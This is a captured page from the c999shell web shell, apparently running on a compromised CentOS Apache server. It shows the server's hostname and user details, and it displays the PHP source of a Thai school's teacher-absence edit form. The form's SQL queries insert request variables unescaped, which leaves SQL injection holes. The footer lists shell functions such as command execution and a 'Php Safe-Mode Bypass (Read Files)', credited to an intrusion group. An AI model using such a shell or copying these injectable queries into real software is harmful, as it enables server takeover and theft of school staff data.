Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/teacher/ drwxr-xr-x |
Viewing file: FrmEditAbsent.php (10.61 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | <?php session_start(); if (session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") ) { include("../include/FunctionDB.php"); include("../include/Function.php"); include("admin_menu.php"); ConnectDB(); $Username = $valid_user; $sql = "Select * From personal_tb Where Teacher_code='$Teacher_code'"; $result = mysql_query($sql) or die(" Error").mysql_error(); $rss = mysql_fetch_array($result); $sql1 = "Select * from history_absent_tb Where code='$code'"; $result1 = mysql_query($sql1); $rs = mysql_fetch_array($result1); ?> <meta http-equiv="Content-Type" content="text/html; charset=TIS-620"> <style type="text/css"> <!-- .style15 {font-size: 14px} --> </style> <table width="807" border="0" cellpadding="0" cellspacing="0"> <tr> <td width="807"><br> <fieldset> <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_teacher.php " >˹éÒËÅÑ¡</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="Add_His_Absent.php?Teacher_code=<? echo $rs[Teacher_code] ?>">à¾ÔèÁ¢éÍÁØÅ¡ÒÃÅÒ</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="EditAbsentList.php?Teacher_code=<? echo $rs[Teacher_code] ?>">á¡é䢢éÍÁÙÅ»ÃÐÇѵԡÒÃÅÒ</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />á¡é䢢éÍÁÙÅ¡ÒÃÅÒ</font></legend> <label><div align="center"> <form id="form1" name="form1" method="post" action="EditAbsent.php"> <table width="88%" border="0" align="center" cellpadding="0" cellspacing="0" style=" border:0px solid gray"size="12"> <tr> <td height="29" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()" width="85" height="22" border="0" /></font></td> </tr> <tr> <td height="29" bgcolor="#FFFFFF"> </td> </tr> <tr> <td height="43" ><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" style="background-color:#eeeeee; border:0px solid gray"size="12"> <tr bgcolor="#FDD88A"> <td colspan="3" bgcolor="#FFFFFF"><div align="center" class="style15"><font color="#000000" face="Tahoma"><strong><font color="#CC0000">á¡éä¢</font> ¢éÍÁÙÅ»ÃÐÇѵԡÒÃÅÒ</strong></font> <font face="Tahoma">Í.<font color="#993333"><strong><? echo $rss['Teacher_name'] ?> <? echo $rss['Teacher_lastname'] ?></strong></font></font></div></td> </tr> <tr bgcolor="#EEEEEE"> <td bgcolor="#FFFFFF"><div align="center"><font color="#003366" size="2" face="Tahoma">ª×èÍ - ¹ÒÁÊ¡ØÅ</font></div></td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"> <? echo $rss[First_name]?> <? echo $rss[Teacher_name]?> <? echo $rss[Teacher_lastname]?></font></td> </tr> <tr bgcolor="#eeeeee"> <td width="15%" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font color="#003366" size="2" face="Tahoma">àÃÔèÁÅÒÇѹ·Õè</font></div></td> <td width="0%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"> </font></td> <td width="85%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma"> Çѹ·Õè <select name="mDate" id="mDate" class="select" > <?php $Date_start = $rs[Date_start]; $yearthai = explode("-",$Date_start); $mDate = intval($yearthai[2]); $mMonth = intval($yearthai[1]); $mYear = intval($yearthai[0]); for($i=0;$i<=31;$i++) { if( $i == 0) echo"\n\t<option value=\"$mDate\" selected>$mDate</option>\n "; else echo"\n\t<option value=\"$i\">$i</option>\n "; } // getDay1to31(); ?> </select> à´×͹ »Õ ¾.È. <select name="mMonth" id="select2" class="select" > <?php $Date_start = $rs[Date_start]; $yearthai = explode("-",$Date_start); $mDate= intval($yearthai[2]); $Month = intval($yearthai[1]); $mYear = intval($yearthai[0]); $mMonth = $Month; $CMonth = TxtThaiMonth($Month); for($i=-1;$i<=11;$i++) { $a = $i+1; if( $a == 0) echo"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n "; else echo"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n "; } // getThaiMonth(); ?> </select> <input name="mYear" type="text" class="input" id="mYear" value="<? echo $mYear ?>" size="4" maxlength="4" /> </font><font size="2" face="Tahoma"> <font color="#003366">¶Ö§ </font></font><font color="#000000" size="2" face="Tahoma"> Çѹ·Õè <select name="mDate2" id="mDate2" class="select" > <?php $Date_finish = $rs[Date_finish]; $yearthai = explode("-",$Date_finish); $mDate = intval($yearthai[2]); $mMonth = intval($yearthai[1]); $mYear = intval($yearthai[0]); for($i=0;$i<=31;$i++) { if( $i == 0) echo"\n\t<option value=\"$mDate\" selected>$mDate</option>\n "; else echo"\n\t<option value=\"$i\">$i</option>\n "; } // getDay1to31(); ?> </select> à´×͹ <select name="mMonth2" id="select3" class="select" > <?php $Date_finish = $rs[Date_finish]; $yearthai = explode("-",$Date_finish); $mDate= intval($yearthai[2]); $Month = intval($yearthai[1]); $mYear = intval($yearthai[0]); $mMonth = $Month; $CMonth = TxtThaiMonth($Month); for($i=-1;$i<=11;$i++) { $a = $i+1; if( $a == 0) echo"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n "; else echo"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n "; } // getThaiMonth(); ?> </select> »Õ ¾.È. <input name="mYear2" type="text" class="input" id="mYear2" value="<? echo $mYear ?>" size="4" maxlength="4" /> </font></td> </tr> <tr bgcolor="#eeeeee"> <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font color="#003366" size="2" face="Tahoma">»ÃÐàÀ·¡ÒÃÅÒ</font></div></td> <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"> </td> <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> <select name="Absent_code" id="Absent_code" class="input1"> <?php $Absent_code = $rs["Absent_code"]; $strSQL3 = "SELECT * FROM history_absent01_tb Where Absent_code='$Absent_code' "; $result3 = mysql_query($strSQL3); $strSQL4= "SELECT * FROM history_absent01_tb "; $result4 = mysql_query($strSQL4); while( $rs3 = mysql_fetch_array($result3)) { echo"<option value=\"$rs3[Absent_code]\" ><b>$rs3[Absent_type]</b></option>\n"; while( $rs4 = mysql_fetch_array($result4)) { echo"<option value=\"$rs4[Absent_code]\" ><b>$rs4[Absent_type]</b></option>\n"; } } ?> </select> </font></strong></font></td> </tr> <tr bgcolor="#eeeeee"> <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font color="#003366" size="2" face="Tahoma">¨Ó¹Ç¹ÇѹÅÒ</font></div></td> <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"> </td> <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input name="Absent_times" type="text" id="Absent_times" value="<? echo $rs[Absent_times]?>" size="2" maxlength="2" /></td> </tr> <tr bgcolor="#eeeeee"> <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font color="#003366" size="2" face="Tahoma">¡ÒùѺ</font></div></td> <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"> </font></td> <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"> <input type="radio" name="Unit_count" <?php if (!(strcmp("$rs[Unit_count]","¹Ñº¤ÃÑé§"))){echo "checked";} ?> value="¹Ñº¤ÃÑé§" /> ¹Ñº¤ÃÑé§ <input type="radio" name="Unit_count" <?php if (!(strcmp("$rs[Unit_count]","äÁè¹Ñº¤ÃÑé§"))){echo "checked";} ?> value="äÁè¹Ñº¤ÃÑé§" /> äÁè¹Ñº¤ÃÑé§</font></td><? CloseDB(); ?> </tr> <tr bgcolor="#FDD88A"> <td colspan="3" bgcolor="#FFFFFF"><div align="center"> <input type="hidden" name="Teacher_code" value="<? echo $rss[Teacher_code]?>" /> <input type="hidden" name="code" value="<? echo $rs[code]?>" /> <input type="submit" name="Submit" value=" á¡é䢢éÍÁÙÅ" class="button" /> </div></td> </tr> </table></td> </tr> </table> </form> </div> </label> </fieldset><br> <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>ËÁÒÂà赯 :</b> ãªéàÁÒÊì¤ÅÔ¡·Õèª×èÍ<br> </font></td> </tr> </table> <?php } else { echo"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n"; echo"Please Login "; } ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]-- |